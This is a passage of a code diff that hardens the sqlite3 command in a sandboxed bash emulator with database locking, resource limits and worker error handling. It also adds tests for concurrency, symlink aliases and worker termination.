+              result && typeof result === "object"
+                ? {
+                    protocolToken: (result as Record<string, unknown>)
+                      .protocolToken,
+                    type: (result as Record<string, unknown>).type,
+                    violation: (result as Record<string, unknown>).violation,
+                    success: (result as Record<string, unknown>).success,
+                    error: (result as Record<string, unknown>).error,
+                    results: (result as Record<string, unknown>).results,
+                    hasModifications: (result as Record<string, unknown>)
+                      .hasModifications,
+                    defenseStats: (result as Record<string, unknown>)
+                      .defenseStats,
+                  }
+                : result;
+            controller.assertMessageSize(response, "response");
+            void settle(
+              normalizeWorkerResult(result, input.protocolToken),
+              true,
+            );
+          } catch (error) {
+            void settle(
+              {
+                success: false,
+                error: sanitizeHostErrorMessage(getErrorMessage(error)),
+              },
+              true,
+            );
+          }
         },
       );
       const onError = bindDefenseContextCallback(
@@ -439,8 +650,13 @@ async function executeInWorker(
         "sqlite3",
         "worker error callback",
         (err: unknown) => {
-          _clearTimeout(timeout);
-          reject(err);
+          void settle(
+            {
+              success: false,
+              error: sanitizeHostErrorMessage(getErrorMessage(err)),
+            },
+            true,
+          );
         },
       );
       const onExit = bindDefenseContextCallback(
@@ -448,12 +664,11 @@ async function executeInWorker(
         "sqlite3",
         "worker exit callback",
         (code: number) => {
-          _clearTimeout(timeout);
           if (code !== 0) {
-            resolve({
-              success: false,
-              error: `Worker exited with code ${code}`,
-            });
+            void settle(
+              { success: false, error: `Worker exited with code ${code}` },
+              false,
+            );
           }
         },
       );
@@ -462,13 +677,12 @@ async function executeInWorker(
         try {
           onMessage(result);
         } catch (error) {
-          _clearTimeout(timeout);
           const message =
             error instanceof Error ? error.message : String(error);
-          resolve({
-            success: false,
-            error: sanitizeHostErrorMessage(message),
-          });
+          void settle(
+            { success: false, error: sanitizeHostErrorMessage(message) },
+            true,
+          );
         }
       };
 
@@ -476,10 +690,12 @@ async function executeInWorker(
         try {
           onError(err);
         } catch (error) {
-          _clearTimeout(timeout);
           const message =
             error instanceof Error ? error.message : String(error);
-          reject(new Error(sanitizeHostErrorMessage(message)));
+          void settle(
+            { success: false, error: sanitizeHostErrorMessage(message) },
+            true,
+          );
         }
       };
 
@@ -487,19 +703,19 @@ async function executeInWorker(
         try {
           onExit(code);
         } catch (error) {
-          _clearTimeout(timeout);
           const message =
             error instanceof Error ? error.message : String(error);
-          resolve({
-            success: false,
-            error: sanitizeHostErrorMessage(message),
-          });
+          void settle(
+            { success: false, error: sanitizeHostErrorMessage(message) },
+            true,
+          );
         }
       };
 
       worker.on("message", dispatchMessage);
       worker.on("error", dispatchError);
       worker.on("exit", dispatchExit);
+      listenersAttached = true;
     });
   } catch (e) {
     // Worker failed to load - do not fall back to direct execution
@@ -509,10 +725,13 @@ async function executeInWorker(
   }
 }
 
-export const sqlite3Command: Command = {
+export const sqlite3Command: RuntimeCommand = {
   name: "sqlite3",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     // Real sqlite3 accepts both -help and --help
     if (hasHelpFlag(args) || args.includes("-help"))
       return showHelp(sqlite3Help);
@@ -557,16 +776,58 @@ export const sqlite3Command: Command = {
     // Load database buffer
     const isMemory = database === ":memory:";
     let dbPath = "";
+    let lockPaths: string[] = [];
     let dbBuffer: Uint8Array | null = null;
+    let releaseLock: (() => void) | undefined;
+    let databaseLease: ResourceLease | undefined;
 
     try {
       if (!isMemory) {
         dbPath = ctx.fs.resolvePath(ctx.cwd, database);
+        const databaseIdentity = await resolveFileIdentity(ctx.fs, dbPath);
+        if (databaseIdentity.existence === "unknown") {
+          throw new Error("database identity cannot be determined safely");
+        }
+        // Use the validated canonical spelling for all subsequent I/O. This
+        // is essential for backends whose read/stat paths follow an aliased
+        // parent but whose write path stores the lexical spelling directly.
+        if (databaseIdentity.canonicalPath !== undefined) {
+          dbPath = databaseIdentity.canonicalPath;
+        }
+        lockPaths = [];
+        if (databaseIdentity.canonicalPath !== undefined) {
+          lockPaths.push(`path:${databaseIdentity.canonicalPath}`);
+        }
+        if (databaseIdentity.existence === "existing") {
+          if (databaseIdentity.stableIdentity === undefined) {
+            throw new Error("database identity cannot be determined safely");
+          }
+          lockPaths.push(`identity:${databaseIdentity.stableIdentity}`);
+        }
+        if (lockPaths.length === 0) {
+          throw new Error("database identity cannot be determined safely");
+        }
+        releaseLock = await acquireDatabaseLocks(
+          ctx.fsIdentity ?? ctx.fs,
+          lockPaths,
+          ctx.signal,
+        );
         if (await ctx.fs.exists(dbPath)) {
+          // Reject prospectively where the backend exposes a size, then check
+          // the actual buffer again to close stat/read races.
+          const fileStat = await ctx.fs.stat(dbPath);
+          assertDatabaseSize(fileStat.size, ctx.limits.maxDatabaseBytes);
           dbBuffer = await ctx.fs.readFileBuffer(dbPath);
+          assertDatabaseSize(dbBuffer.byteLength, ctx.limits.maxDatabaseBytes);
+          databaseLease = ctx.executionScope?.reserveBytes(
+            "sqlite-database",
+            dbBuffer.byteLength,
+            "sqlite3 database",
+          );
         }
       }
     } catch (e) {
+      releaseLock?.();
       const message = sanitizeErrorMessage((e as Error).message);
       return {
         stdout: "",
@@ -575,112 +836,186 @@ export const sqlite3Command: Command = {
       };
     }
 
-    // Get timeout from execution limits or use default
-    const timeoutMs =
-      ctx.limits?.maxSqliteTimeoutMs ?? DEFAULT_QUERY_TIMEOUT_MS;
-
-    // Execute in worker with timeout
-    const workerInput: WorkerInput = {
-      protocolToken: generateWorkerProtocolToken(),
-      dbBuffer,
-      sql,
-      options: {
-        bail: options.bail,
-        echo: options.echo,
-      },
-    };
-
-    let result: WorkerOutput;
     try {
-      result = await executeInWorker(
-        workerInput,
+      // Get timeout from execution limits or use default
+      const timeoutMs = ctx.limits.maxSqliteTimeoutMs;
+
+      const requestController = new WorkerRequestController({
+        commandName: "sqlite3",
         timeoutMs,
-        ctx.requireDefenseContext,
-      );
-    } catch (e) {
-      const message = sanitizeHostErrorMessage((e as Error).message);
-      return {
-        stdout: "",
-        stderr: `sqlite3: worker error: ${message}\n`,
-        exitCode: 1,
+        signal: ctx.signal,
+        maxMessageBytes: ctx.limits.maxWorkerMessageBytes,
+      });
+
+      // Execute in worker with timeout
+      const workerInput: WorkerInput = {
+        protocolToken: requestController.protocolToken,
+        dbBuffer,
+        sql,
+        options: {
+          bail: options.bail,
+          echo: options.echo,
+        },
+        limits: {
+          maxResultRows: ctx.limits.maxArrayElements,
+          maxResultBytes: ctx.limits.maxDatabaseResultBytes,
+          maxDatabaseBytes: ctx.limits.maxDatabaseBytes,
+        },
       };
-    }
+      requestController.assertMessageSize(
+        { ...workerInput, dbBuffer: undefined },
+        "request",
+      );
 
-    if (!result.success) {
-      const message = sanitizeHostErrorMessage(result.error);
-      return {
-        stdout: "",
-        stderr: `sqlite3: ${message}\n`,
-        exitCode: 1,
+      let result: WorkerOutput;
+      let workerCloneLease: ResourceLease | undefined;
+      try {
+        if (dbBuffer) {
+          // Structured clone retains another database image while the host
+          // copy is live. Keep the dedicated limit check even though protocol
+          // metadata accounting deliberately excludes the already-counted DB.
+          assertDatabaseSize(dbBuffer.byteLength, ctx.limits.maxDatabaseBytes);
+          workerCloneLease = ctx.executionScope?.reserveBytes(
+            "sqlite-worker-clone",
+            dbBuffer.byteLength,
+            "sqlite3 worker clone",
+          );
+        }
+        result = await executeInWorker(
+          workerInput,
+          requestController,
+          ctx.requireDefenseContext,
+        );
+      } catch (e) {
+        const message = sanitizeHostErrorMessage((e as Error).message);
+        return {
+          stdout: "",
+          stderr: `sqlite3: worker error: ${message}\n`,
+          exitCode: 1,
+        };
+      } finally {
+        workerCloneLease?.release();
+      }
+
+      if (!result.success) {
+        if (
+          lockPaths.length > 0 &&
+          result.error === WORKER_TERMINATION_UNACKNOWLEDGED
+        ) {
+          for (const lockPath of lockPaths) {
+            poisonDatabaseLock(
+              ctx.fsIdentity ?? ctx.fs,
+              lockPath,
+              result.error,
+            );
+          }
+        }
+        const message = sanitizeHostErrorMessage(result.error);
+        return {
+          stdout: "",
+          stderr: `sqlite3: ${message}\n`,
+          exitCode: 1,
+        };
+      }
+
+      // Format output
+      const maxFormattedOutput = Math.min(
+        ctx.limits.maxStringLength,
+        ctx.limits.maxOutputSize,
+      );
+      const formatOptions: FormatOptions = {
+        mode: options.mode,
+        header: options.header,
+        separator: options.separator,
+        newline: options.newline,
+        nullValue: options.nullValue,
+        maxOutputSize: maxFormattedOutput,
       };
-    }
 
-    // Format output
-    const formatOptions: FormatOptions = {
-      mode: options.mode,
-      header: options.header,
-      separator: options.separator,
-      newline: options.newline,
-      nullValue: options.nullValue,
-    };
+      let stdout = "";
 
-    let stdout = "";
+      // Echo SQL if requested
+      if (options.echo) {
+        stdout += `${sql}\n`;
+      }
 
-    // Echo SQL if requested
-    if (options.echo) {
-      stdout += `${sql}\n`;
-    }
+      // Process results
+      let hadError = false;
+      let bailError: string | null = null;
+      for (const stmtResult of result.results) {
+        if (stmtResult.type === "error") {
+          if (options.bail) {
+            bailError = stmtResult.error ?? "SQL error";
+            hadError = true;
+            break;
+          }
+          stdout += `Error: ${stmtResult.error}\n`;
+          hadError = true;
+        } else if (stmtResult.columns && stmtResult.rows) {
+          if (stmtResult.rows.length > 0 || options.header) {
+            try {
+              const remainingOutput = Math.max(
+                0,
+                maxFormattedOutput - Buffer.byteLength(stdout, "utf8"),
+              );
+              stdout += formatOutput(stmtResult.columns, stmtResult.rows, {
+                ...formatOptions,
+                maxOutputSize: remainingOutput,
+              });
+            } catch (error) {
+              const message = sanitizeErrorMessage((error as Error).message);
+              return {
+                stdout,
+                stderr: `sqlite3: ${message}\n`,
+                exitCode: 1,
+              };
+            }
+          }
+        }
+      }
 
-    // Process results
-    let hadError = false;
-    for (const stmtResult of result.results) {
-      if (stmtResult.type === "error") {
-        if (options.bail) {
+      // Write back modifications if needed
+      if (
+        result.hasModifications &&
+        !options.readonly &&
+        !isMemory &&
+        dbPath &&
+        result.dbBuffer
+      ) {
+        try {
+          assertDatabaseSize(
+            result.dbBuffer.byteLength,
+            ctx.limits.maxDatabaseBytes,
+          );
+          await ctx.fs.writeFile(dbPath, result.dbBuffer);
+        } catch (e) {
+          const message = sanitizeErrorMessage((e as Error).message);
           return {
             stdout,
-            stderr: `Error: ${stmtResult.error}\n`,
+            stderr: `sqlite3: failed to write database: ${message}\n`,
             exitCode: 1,
           };
         }
-        stdout += `Error: ${stmtResult.error}\n`;
-        hadError = true;
-      } else if (stmtResult.columns && stmtResult.rows) {
-        if (stmtResult.rows.length > 0 || options.header) {
-          stdout += formatOutput(
-            stmtResult.columns,
-            stmtResult.rows,
-            formatOptions,
-          );
-        }
       }
-    }
 
-    // Write back modifications if needed
-    if (
-      result.hasModifications &&
-      !options.readonly &&
-      !isMemory &&
-      dbPath &&
-      result.dbBuffer
-    ) {
-      try {
-        await ctx.fs.writeFile(dbPath, result.dbBuffer);
-      } catch (e) {
-        const message = sanitizeErrorMessage((e as Error).message);
+      if (bailError !== null) {
         return {
           stdout,
-          stderr: `sqlite3: failed to write database: ${message}\n`,
+          stderr: `Error: ${bailError}\n`,
           exitCode: 1,
         };
       }
-    }
 
-    // sqlite3 emits text; the pipeline handles encoding.
-    return {
-      stdout,
-      stderr: "",
-      exitCode: hadError && options.bail ? 1 : 0,
-    };
+      // sqlite3 emits text; the pipeline handles encoding.
+      return {
+        stdout,
+        stderr: "",
+        exitCode: hadError && options.bail ? 1 : 0,
+      };
+    } finally {
+      databaseLease?.release();
+      releaseLock?.();
+    }
   },
 };
 
diff --git a/packages/just-bash/src/commands/sqlite3/sqlite3.worker-protocol-abuse.test.ts b/packages/just-bash/src/commands/sqlite3/sqlite3.worker-protocol-abuse.test.ts
index 01ff096b..09f68afe 100644
--- a/packages/just-bash/src/commands/sqlite3/sqlite3.worker-protocol-abuse.test.ts
+++ b/packages/just-bash/src/commands/sqlite3/sqlite3.worker-protocol-abuse.test.ts
@@ -1,8 +1,9 @@
 import { beforeEach, describe, expect, it, vi } from "vitest";
 import { EMPTY_BYTES } from "../../encoding.js";
 import { InMemoryFs } from "../../fs/in-memory-fs/in-memory-fs.js";
+import { resolveLimits } from "../../limits.js";
 import { DefenseInDepthBox } from "../../security/defense-in-depth-box.js";
-import type { CommandContext } from "../../types.js";
+import type { RuntimeCommandContext } from "../../types.js";
 import { _internals, sqlite3Command } from "./sqlite3.js";
 
 type WorkerScript = (worker: {
@@ -10,7 +11,11 @@ type WorkerScript = (worker: {
   emitAuthenticated: (event: string, payload: Record<string, unknown>) => void;
 }) => void;
 
-function createMockWorker(script: WorkerScript, protocolToken: string) {
+function createMockWorker(
+  script: WorkerScript,
+  protocolToken: string,
+  options: { rejectTermination?: boolean } = {},
+) {
   const handlers = new Map<string, Array<(payload?: unknown) => void>>();
 
   const worker = {
@@ -21,6 +26,9 @@ function createMockWorker(script: WorkerScript, protocolToken: string) {
       return worker;
     },
     terminate(): Promise<number> {
+      if (options.rejectTermination) {
+        return Promise.reject(new Error("termination rejected"));
+      }
       const list = handlers.get("exit") ?? [];
       for (const cb of list) cb(0);
       return Promise.resolve(0);
@@ -49,8 +57,8 @@ function createMockWorker(script: WorkerScript, protocolToken: string) {
 }
 
 function createContext(
-  overrides: Partial<CommandContext> = {},
-): CommandContext {
+  overrides: Partial<RuntimeCommandContext> = {},
+): RuntimeCommandContext {
   return {
     fs: new InMemoryFs(),
     cwd: "/",
@@ -61,6 +69,7 @@ function createContext(
     ]),
     stdin: EMPTY_BYTES,
     ...overrides,
+    limits: overrides.limits ?? resolveLimits(),
   };
 }
 
@@ -199,4 +208,45 @@ describe("sqlite3 worker protocol abuse", () => {
     );
     expect(result.exitCode).toBe(1);
   });
+
+  it("poisons the database lock when termination is not acknowledged", async () => {
+    const fs = new InMemoryFs({ "/database.db": "empty" });
+    const createWorker = vi
+      .spyOn(_internals, "createWorker")
+      .mockImplementation((_path, input) => {
+        return createMockWorker(
+          (worker) => {
+            worker.emitAuthenticated("message", {
+              success: true,
+              results: [],
+              hasModifications: false,
+              dbBuffer: null,
+            });
+          },
+          input.protocolToken,
+          { rejectTermination: true },
+        ) as never;
+      });
+
+    const first = sqlite3Command.execute(
+      ["/database.db", "SELECT 1"],
+      createContext({ fs }),
+    );
+    const second = sqlite3Command.execute(
+      ["/database.db", "SELECT 2"],
+      createContext({ fs }),
+    );
+
+    const [firstResult, secondResult] = await Promise.all([first, second]);
+    expect(firstResult.stderr).toContain("termination was not acknowledged");
+    expect(secondResult.stderr).toContain("termination was not acknowledged");
+    expect(createWorker).toHaveBeenCalledTimes(1);
+
+    const third = await sqlite3Command.execute(
+      ["/database.db", "SELECT 3"],
+      createContext({ fs }),
+    );
+    expect(third.stderr).toContain("termination was not acknowledged");
+    expect(createWorker).toHaveBeenCalledTimes(1);
+  });
 });
diff --git a/packages/just-bash/src/commands/sqlite3/sqlite3.writeback-edge-cases.test.ts b/packages/just-bash/src/commands/sqlite3/sqlite3.writeback-edge-cases.test.ts
index 78b4e79c..fd138a0e 100644
--- a/packages/just-bash/src/commands/sqlite3/sqlite3.writeback-edge-cases.test.ts
+++ b/packages/just-bash/src/commands/sqlite3/sqlite3.writeback-edge-cases.test.ts
@@ -23,6 +23,58 @@ async function setupDb(env: Bash, schema: string): Promise<void> {
 }
 
 describe("sqlite3 writeback covers non-prefixed mutations", () => {
+  it("writes back successful statements before a -bail error", async () => {
+    const env = new Bash();
+    const write = await env.exec(
+      `sqlite3 -bail /tmp/db.sqlite "CREATE TABLE t(x); INSERT INTO t VALUES(7); SELECT * FROM missing"`,
+    );
+    expect(write.exitCode).toBe(1);
+    expect(write.stderr).toContain("missing");
+
+    const read = await env.exec(`sqlite3 /tmp/db.sqlite "SELECT x FROM t"`);
+    expect(read.exitCode).toBe(0);
+    expect(read.stdout).toBe("7\n");
+  });
+
+  it("serializes concurrent read/modify/write cycles on one filesystem", async () => {
+    const env = new Bash();
+    await setupDb(
+      env,
+      "CREATE TABLE counter(x); INSERT INTO counter VALUES(0)",
+    );
+    const [first, second] = await Promise.all([
+      env.exec(`sqlite3 /tmp/db.sqlite "UPDATE counter SET x=x+1"`),
+      env.exec(`sqlite3 /tmp/db.sqlite "UPDATE counter SET x=x+1"`),
+    ]);
+    expect(first.exitCode).toBe(0);
+    expect(second.exitCode).toBe(0);
+    const read = await env.exec(
+      `sqlite3 /tmp/db.sqlite "SELECT x FROM counter"`,
+    );
+    expect(read.stdout).toBe("2\n");
+  });
+
+  it("serializes creation through two aliases of the same existing parent", async () => {
+    const env = new Bash({ files: { "/real/.anchor": "" } });
+    await env.fs.symlink("/real", "/alias");
+
+    const [first, second] = await Promise.all([
+      env.exec(
+        `sqlite3 /real/new.sqlite "CREATE TABLE IF NOT EXISTS t(x); INSERT INTO t VALUES(1)"`,
+      ),
+      env.exec(
+        `sqlite3 /alias/new.sqlite "CREATE TABLE IF NOT EXISTS t(x); INSERT INTO t VALUES(2)"`,
+      ),
+    ]);
+
+    expect(first.exitCode).toBe(0);
+    expect(second.exitCode).toBe(0);
+    const read = await env.exec(
+      `sqlite3 /real/new.sqlite "SELECT x FROM t ORDER BY x"`,
+    );
+    expect(read.stdout).toBe("1\n2\n");
+  });
+
   it("persists a CTE-prefixed INSERT (WITH ... INSERT)", async () => {
     const env = new Bash();
     await setupDb(env, "CREATE TABLE t(x INT); INSERT INTO t VALUES(1)");
@@ -97,6 +149,28 @@ describe("sqlite3 writeback covers non-prefixed mutations", () => {
     expect(read.stdout).toBe("42\n");
   });
 
+  it("persists an argumentless incremental_vacuum PRAGMA", async () => {
+    const env = new Bash();
+    await setupDb(
+      env,
+      "PRAGMA auto_vacuum=incremental; VACUUM; CREATE TABLE t(x); WITH RECURSIVE n(v) AS (VALUES(1) UNION ALL SELECT v+1 FROM n WHERE v<80) INSERT INTO t SELECT zeroblob(4096) FROM n; DELETE FROM t",
+    );
+    const before = await env.exec(
+      `sqlite3 /tmp/db.sqlite "PRAGMA freelist_count"`,
+    );
+    const beforeCount = Number(before.stdout.trim());
+    expect(beforeCount).toBeGreaterThan(0);
+
+    const vacuum = await env.exec(
+      `sqlite3 /tmp/db.sqlite "PRAGMA incremental_vacuum"`,
+    );
+    expect(vacuum.exitCode).toBe(0);
+    const after = await env.exec(
+      `sqlite3 /tmp/db.sqlite "PRAGMA freelist_count"`,
+    );
+    expect(Number(after.stdout.trim())).toBeLessThan(beforeCount);
+  });
+
   it("persists a comment-led INSERT (line comment)", async () => {
     const env = new Bash();
     await setupDb(env, "CREATE TABLE t(x INT)");
diff --git a/packages/just-bash/src/commands/sqlite3/worker.ts b/packages/just-bash/src/commands/sqlite3/worker.ts
index bb20a97d..1c2e8163 100644
--- a/packages/just-bash/src/commands/sqlite3/worker.ts
+++ b/packages/just-bash/src/commands/sqlite3/worker.ts
@@ -14,16 +14,20 @@
  */
 
 import { parentPort, workerData } from "node:worker_threads";
-import initSqlJs, { type Database, type SqlJsStatic } from "sql.js";
+import initSqlJs, {
+  type Database,
+  type SqlJsStatic,
+  type Statement,
+} from "sql.js";
 import { sanitizeHostErrorMessage } from "../../fs/sanitize-error.js";
 import {
   WorkerDefenseInDepth,
   type WorkerDefenseStats,
 } from "../../security/index.js";
-import {
-  sanitizeUnknownError,
-  wrapWasmCallback,
-} from "../../security/wasm-callback.js";
+import { sanitizeUnknownError } from "../../security/wasm-callback.js";
+
+const MIN_SQLITE_HEAP_LIMIT = 32 * 1024 * 1024;
+const MAX_SQLITE_HEAP_LIMIT = 128 * 1024 * 1024;
 
 // Cached SQL.js module (initialized once)
 let cachedSQL: SqlJsStatic | null = null;
@@ -68,33 +72,28 @@ function postWorkerMessage(protocolToken: string, message: unknown): void {
  * Initialize sql.js and activate defense-in-depth.
  * Called once per worker lifetime.
  */
-async function initializeWithDefense(
-  protocolToken: string,
-): Promise<SqlJsStatic> {
+async function initializeSqlJs(): Promise<SqlJsStatic> {
   if (cachedSQL) {
     return cachedSQL;
   }
 
-  // Initialize sql.js WASM first (needs unrestricted JS features)
+  // Initialize sql.js WASM first (needs unrestricted JS features). Database
+  // construction is also prewarmed before defense activation below because
+  // sql.js performs some Node module loading lazily on first use.
   cachedSQL = await initSqlJs();
 
-  // Activate defense after sql.js is loaded (no exclusions needed)
-  const onViolation = wrapWasmCallback(
-    "sqlite3-worker",
-    "onViolation",
-    (v: unknown) => {
-      postWorkerMessage(protocolToken, {
-        type: "security-violation",
-        violation: v,
-      });
-    },
-  );
-
-  defense = new WorkerDefenseInDepth({ onViolation });
-
   return cachedSQL;
 }
 
+function activateDefense(): void {
+  if (defense) return;
+  // Violations throw synchronously and are returned through the authenticated
+  // final response. Calling parentPort.postMessage from inside the loader trap
+  // can itself lazily load Node internals and recursively trigger the trap.
+  // @banned-pattern-ignore: constructor receives a static options bag, never dynamic keys
+  defense = new WorkerDefenseInDepth({});
+}
+
 export interface WorkerInput {
   protocolToken: string;
   dbBuffer: Uint8Array | null; // null for :memory:
@@ -103,6 +102,11 @@ export interface WorkerInput {
     bail: boolean;
     echo: boolean;
   };
+  limits: {
+    maxResultRows: number;
+    maxResultBytes: number;
+    maxDatabaseBytes: number;
+  };
 }
 
 export interface WorkerSuccess {
@@ -163,77 +167,135 @@ function isReadOnlyStatement(sql: string): boolean {
   if (s.startsWith("SELECT")) return true;
   if (s.startsWith("EXPLAIN")) return true;
   if (s.startsWith("VALUES")) return true;
-  if (s.startsWith("PRAGMA")) {
-    // `PRAGMA name` is a read; `PRAGMA name = value` and
-    // `PRAGMA name(value)` mutate state.
-    const rest = s.slice("PRAGMA".length);
-    return !/[=(]/.test(rest);
-  }
+  // PRAGMAs are intentionally never allowlisted here. Several argumentless
+  // forms mutate persistent state (for example incremental_vacuum), and an
+  // extra writeback is safer than silently discarding a mutation.
   return false;
 }
 
-function isWriteStatement(sql: string): boolean {
-  const trimmed = stripLeadingNoise(sql).toUpperCase();
-  return (
-    trimmed.startsWith("INSERT") ||
-    trimmed.startsWith("UPDATE") ||
-    trimmed.startsWith("DELETE") ||
-    trimmed.startsWith("CREATE") ||
-    trimmed.startsWith("DROP") ||
-    trimmed.startsWith("ALTER") ||
-    trimmed.startsWith("REPLACE") ||
-    trimmed.startsWith("VACUUM")
-  );
-}
-
-function splitStatements(sql: string): string[] {
-  const statements: string[] = [];
-  let current = "";
-  let inString = false;
-  let stringChar = "";
-
+/**
+ * Recover SQLite's remaining tail after prepare() fails. sql.js does not
+ * expose sqlite3_prepare_v2's tail pointer on an error, so enumerate only
+ * lexically possible top-level terminators and ask SQLite whether each
+ * prefix is complete. The scanner never declares a boundary by itself.
+ */
+function tailAfterFailedPrepare(db: Database, sql: string): string | null {
+  let quote: "'" | '"' | "`" | "]" | null = null;
+  let lineComment = false;
+  let blockComment = false;
   for (let i = 0; i < sql.length; i++) {
     const char = sql[i];
-
-    if (inString) {
-      current += char;
-      if (char === stringChar) {
-        if (sql[i + 1] === stringChar) {
-          current += sql[++i];
-        } else {
-          inString = false;
-        }
+    const next = sql[i + 1];
+    if (lineComment) {
+      if (char === "\n") lineComment = false;
+      continue;
+    }
+    if (blockComment) {
+      if (char === "*" && next === "/") {
+        blockComment = false;
+        i++;
       }
-    } else if (char === "'" || char === '"') {
-      current += char;
-      inString = true;
-      stringChar = char;
-    } else if (char === ";") {
-      const stmt = current.trim();
-      if (stmt) statements.push(stmt);
-      current = "";
-    } else {
-      current += char;
+      continue;
+    }
+    if (quote !== null) {
+      const closes = quote === "]" ? char === "]" : char === quote;
+      if (closes) {
+        if (quote !== "]" && next === quote) i++;
+        else quote = null;
+      }
+      continue;
+    }
+    if (char === "-" && next === "-") {
+      lineComment = true;
+      i++;
+      continue;
+    }
+    if (char === "/" && next === "*") {
+      blockComment = true;
+      i++;
+      continue;
+    }
+    if (char === "'" || char === '"' || char === "`") {
+      quote = char;
+      continue;
+    }
+    if (char === "[") {
+      quote = "]";
+      continue;
+    }
+    if (char !== ";") continue;
+
+    const prefix = sql.slice(0, i + 1);
+    try {
+      const statement = db.prepare(prefix);
+      statement.free();
+      return sql.slice(i + 1);
+    } catch (error) {
+      if (!/incomplete input/i.test((error as Error).message))
+        return sql.slice(i + 1);
     }
   }
+  return null;
+}
 
-  const stmt = current.trim();
-  if (stmt) statements.push(stmt);
+function valueByteLength(value: unknown): number {
+  if (value === null || value === undefined) return 4;
+  if (value instanceof Uint8Array) return value.byteLength;
+  if (typeof value === "string") return Buffer.byteLength(value, "utf8");
+  return Buffer.byteLength(String(value), "utf8");
+}
 
-  return statements;
+function databaseByteLength(db: Database): number {
+  const pageCount = db.exec("PRAGMA page_count")[0]?.values[0]?.[0];
+  const pageSize = db.exec("PRAGMA page_size")[0]?.values[0]?.[0];
+  if (typeof pageCount !== "number" || typeof pageSize !== "number") return 0;
+  return pageCount * pageSize;
 }
 
 async function executeQuery(data: WorkerInput): Promise<WorkerOutput> {
   let db: Database;
 
   try {
-    const SQL = await initializeWithDefense(data.protocolToken);
+    if (
+      data.dbBuffer &&
+      data.dbBuffer.byteLength > data.limits.maxDatabaseBytes
+    ) {
+      throw new Error(
+        `database exceeds ${data.limits.maxDatabaseBytes} byte limit`,
+      );
+    }
+    const SQL = await initializeSqlJs();
 
     if (data.dbBuffer) {
       db = new SQL.Database(data.dbBuffer);
     } else {
       db = new SQL.Database();
     }
+    // V8 worker resourceLimits do not cover WebAssembly linear memory. SQLite's
+    // own hard heap limit stops randomblob/zeroblob and query intermediates
+    // before they can grow the WASM allocator without bound. SQLite only lets
+    // later PRAGMAs lower (not raise) an established hard limit.
+    const sqliteHeapLimit = Math.min(
+      MAX_SQLITE_HEAP_LIMIT,
+      Math.max(
+        MIN_SQLITE_HEAP_LIMIT,
+        (data.dbBuffer?.byteLength ?? 0) + data.limits.maxResultBytes * 2,
+      ),
+    );
+    db.run(`PRAGMA hard_heap_limit = ${sqliteHeapLimit}`);
+    // Exercise the exact prepare/step/iterator paths used below while no guest
+    // SQL is present. sql.js lazily resolves a small amount of Node glue on
+    // first use even after initSqlJs() and Database construction complete.
+    const bootstrapIterator = db.iterateStatements("SELECT 1");
+    const bootstrapStatement = bootstrapIterator.next();
+    if (!bootstrapStatement.done) {
+      bootstrapStatement.value.step();
+      bootstrapStatement.value.free();
+    }
+    // All sql.js/Database bootstrap operations are complete. No guest SQL has
+    // run yet, so loader denial can now be activated without a guest callback
+    // ever executing inside a trusted bootstrap window.
+    activateDefense();
   } catch (e) {
     const message = sanitizeHostErrorMessage((e as Error).message);
     return {
@@ -245,48 +307,87 @@ async function executeQuery(data: WorkerInput): Promise<WorkerOutput> {
 
   const results: StatementResult[] = [];
   let hasModifications = false;
+  let resultRows = 0;
+  let resultBytes = 0;
 
   try {
-    const statements = splitStatements(data.sql);
-
-    for (const stmt of statements) {
+    // Delegate statement boundary detection to SQLite itself. This correctly
+    // preserves trigger bodies, comments, quoted identifiers, and every other
+    // grammar construct in which a semicolon is not a statement terminator.
+    let remainingSql = data.sql;
+    while (remainingSql.trim().length > 0) {
+      let prepared: Statement;
+      const iterator = db.iterateStatements(remainingSql);
+      try {
+        const next = iterator.next();
+        if (next.done) break;
+        prepared = next.value;
+        // Capture SQLite's exact unprepared tail before stepping. A runtime
+        // error invalidates sql.js's iterator, but this tail remains safe to
+        // prepare independently when non-bail mode continues.
+        remainingSql = iterator.getRemainingSQL();
+      } catch (e) {
+        // SQLite could not prepare the next statement. In non-bail mode the
+        // recovery helper asks SQLite to validate the next possible tail.
+        const message = sanitizeHostErrorMessage((e as Error).message);
+        results.push({
+          type: "error",
+          error: message,
+        });
+        if (data.options.bail) break;
+        let tail = iterator.getRemainingSQL();
+        if (tail === remainingSql)
+          tail = tailAfterFailedPrepare(db, remainingSql) ?? remainingSql;
+        if (tail === remainingSql) break;
+        remainingSql = tail;
+        continue;
+      }
+      const stmt = prepared.getSQL();
       try {
-        if (isWriteStatement(stmt)) {
-          db.run(stmt);
-          hasModifications = true;
-          results.push({ type: "data", columns: [], rows: [] });
-        } else {
-          // Use prepared statement to get column names even for empty result sets
-          const prepared = db.prepare(stmt);
-          const columns = prepared.getColumnNames();
-          const rows: unknown[][] = [];
-
-          while (prepared.step()) {
-            rows.push(prepared.get());
+        const columns = prepared.getColumnNames();
+        for (const column of columns) {
+          resultBytes += Buffer.byteLength(column, "utf8");
+        }
+        const rows: unknown[][] = [];
+        while (prepared.step()) {
+          if (resultRows >= data.limits.maxResultRows) {
+            throw new Error(
+              `query result exceeds ${data.limits.maxResultRows} row limit`,
+            );
           }
-
-          prepared.free();
-          results.push({ type: "data", columns, rows });
-
-          // Anything that is not provably read-only must trigger writeback.
-          // Catches CTE-prefixed writes (WITH ... INSERT), mutating PRAGMAs
-          // (PRAGMA user_version=N), and comment-led writes that the
-          // startsWith allowlist in isWriteStatement misses.
-          if (!isReadOnlyStatement(stmt)) {
-            hasModifications = true;
+          const row = prepared.get();
+          let rowBytes = row.length * 8;
+          for (const value of row) rowBytes += valueByteLength(value);
+          if (resultBytes + rowBytes > data.limits.maxResultBytes) {
+            throw new Error(
+              `query result exceeds ${data.limits.maxResultBytes} byte limit`,
+            );
           }
+          resultBytes += rowBytes;
+          resultRows++;
+          rows.push(row);
         }
+        results.push({ type: "data", columns, rows });
+        if (!isReadOnlyStatement(stmt)) hasModifications = true;
       } catch (e) {
-        const error = (e as Error).message;
-        results.push({ type: "error", error });
+        const message = sanitizeHostErrorMessage((e as Error).message);
+        results.push({ type: "error", error: message });
         if (data.options.bail) {
           break;
         }
+      } finally {
+        prepared.free();
       }
     }
 
     let resultBuffer: Uint8Array | null = null;
     if (hasModifications) {
+      const databaseBytes = databaseByteLength(db);
+      if (databaseBytes > data.limits.maxDatabaseBytes) {
+        throw new Error(
+          `database exceeds ${data.limits.maxDatabaseBytes} byte limit`,
+        );
+      }
